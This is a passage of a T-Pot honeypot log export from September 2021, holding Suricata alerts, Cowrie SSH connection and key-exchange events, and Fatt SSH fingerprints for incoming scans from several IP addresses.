"AAADVAUUfO4optMPGHRIgqPTIfCWpAAAALdlY2RoLXNoYTItbmlzdHAyNTYsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDUyMSxkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGEyNTYsZGlmZmllLWhlbGxtYW4tZ3JvdXAtZXhjaGFuZ2Utc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEAAABLZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAABcgbm9PQ==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43588, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:12:35.980136Z", "@timestamp": "2021-09-20T11:12:35.980Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T..|.(....tH...!.......ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...Kecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com....none....none.............\\\\...="}}	1	\N	\N	alert	\N	\N
26571	fe80:0000:0000:0000:319d:3e8f:a38d:b93f	109.199.241.180	Suricata	2021-09-20 14:12:35.588266+03	2021-09-20 14:15:13.446674+03	{"_id": "FAboAnwBvYTbRNuEYSKc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:12:35.092180+0000", "pkts_toclient": 0, "pkts_toserver": 3, "bytes_toclient": 0, "bytes_toserver": 330}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:319d:3e8f:a38d:b93f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1775751756212244, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:12:35.588266Z", "@timestamp": "2021-09-20T11:12:35.588Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
26572	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:12:22.503073+03	2021-09-20 14:15:13.447672+03	{"_id": "sQboAnwBvYTbRNuELCGx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:38802 (192.168.176.2:22) [session: de90c328c03b]", "session": "de90c328c03b", "@version": "1", "protocol": "ssh", "src_port": 38802, "dest_port": 22, "timestamp": "2021-09-20T11:12:22.503073Z", "@timestamp": "2021-09-20T11:12:22.503Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26573	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:12:22.50605+03	2021-09-20 14:15:13.448646+03	{"_id": "sgboAnwBvYTbRNuELCGx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "de90c328c03b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:12:22.506050Z", "@timestamp": "2021-09-20T11:12:22.506Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26574	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:12:40.495353+03	2021-09-20 14:15:13.450675+03	{"_id": "SAboAnwBvYTbRNuEdiJO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 55066, "dest_port": 22, "timestamp": "2021-09-20T11:12:40.495353", "@timestamp": "2021-09-20T11:12:40.495Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
26575	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:12:40.493514+03	2021-09-20 14:15:13.451675+03	{"_id": "RwboAnwBvYTbRNuEdiJO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55066, "timestamp": "2021-09-20T11:12:40.493514", "@timestamp": "2021-09-20T11:12:40.493Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26578	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:12:44.488344+03	2021-09-20 14:15:13.455674+03	{"_id": "UwboAnwBvYTbRNuEgiKy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:47326 (192.168.176.2:22) [session: 65a273a4b973]", "session": "65a273a4b973", "@version": "1", "protocol": "ssh", "src_port": 47326, "dest_port": 22, "timestamp": "2021-09-20T11:12:44.488344Z", "@timestamp": "2021-09-20T11:12:44.488Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26579	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:12:44.323684+03	2021-09-20 14:15:13.456677+03	{"_id": "WAboAnwBvYTbRNuEgiKy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:35248 (192.168.176.2:22) [session: f48de0094635]", "session": "f48de0094635", "@version": "1", "protocol": "ssh", "src_port": 35248, "dest_port": 22, "timestamp": "2021-09-20T11:12:44.323684Z", "@timestamp": "2021-09-20T11:12:44.323Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26580	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:12:44.602271+03	2021-09-20 14:15:13.458673+03	{"_id": "XQboAnwBvYTbRNuEgiKy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "f48de0094635", "@version": "1", "timestamp": "2021-09-20T11:12:44.602271Z", "@timestamp": "2021-09-20T11:12:44.602Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26581	192.168.176.2	109.199.241.180	Suricata	2021-09-20 14:12:44.292171+03	2021-09-20 14:15:13.460647+03	{"_id": "XgboAnwBvYTbRNuEhCLJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:12:44.292171+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.176.2", "stream": 0, "dest_ip": "116.105.211.46", "flow_id": 330024962782539, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 22, "dest_port": 46444, "timestamp": "2021-09-20T11:12:44.292171Z", "@timestamp": "2021-09-20T11:12:44.292Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
26582	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:12:44.764501+03	2021-09-20 14:15:13.461648+03	{"_id": "YAboAnwBvYTbRNuEhCLJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 709307082226923, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47326, "dest_port": 22, "timestamp": "2021-09-20T11:12:44.764501Z", "@timestamp": "2021-09-20T11:12:44.764Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26583	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:12:44.601564+03	2021-09-20 14:15:13.462646+03	{"_id": "YgboAnwBvYTbRNuEhSLw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35248, "timestamp": "2021-09-20T11:12:44.601564", "@timestamp": "2021-09-20T11:12:44.601Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26584	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:12:45.477471+03	2021-09-20 14:15:13.464647+03	{"_id": "bgboAnwBvYTbRNuEiCKz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:12:45.134279+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1495189460683911, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 58310, "dest_port": 3389, "timestamp": "2021-09-20T11:12:45.477471Z", "@timestamp": "2021-09-20T11:12:45.477Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
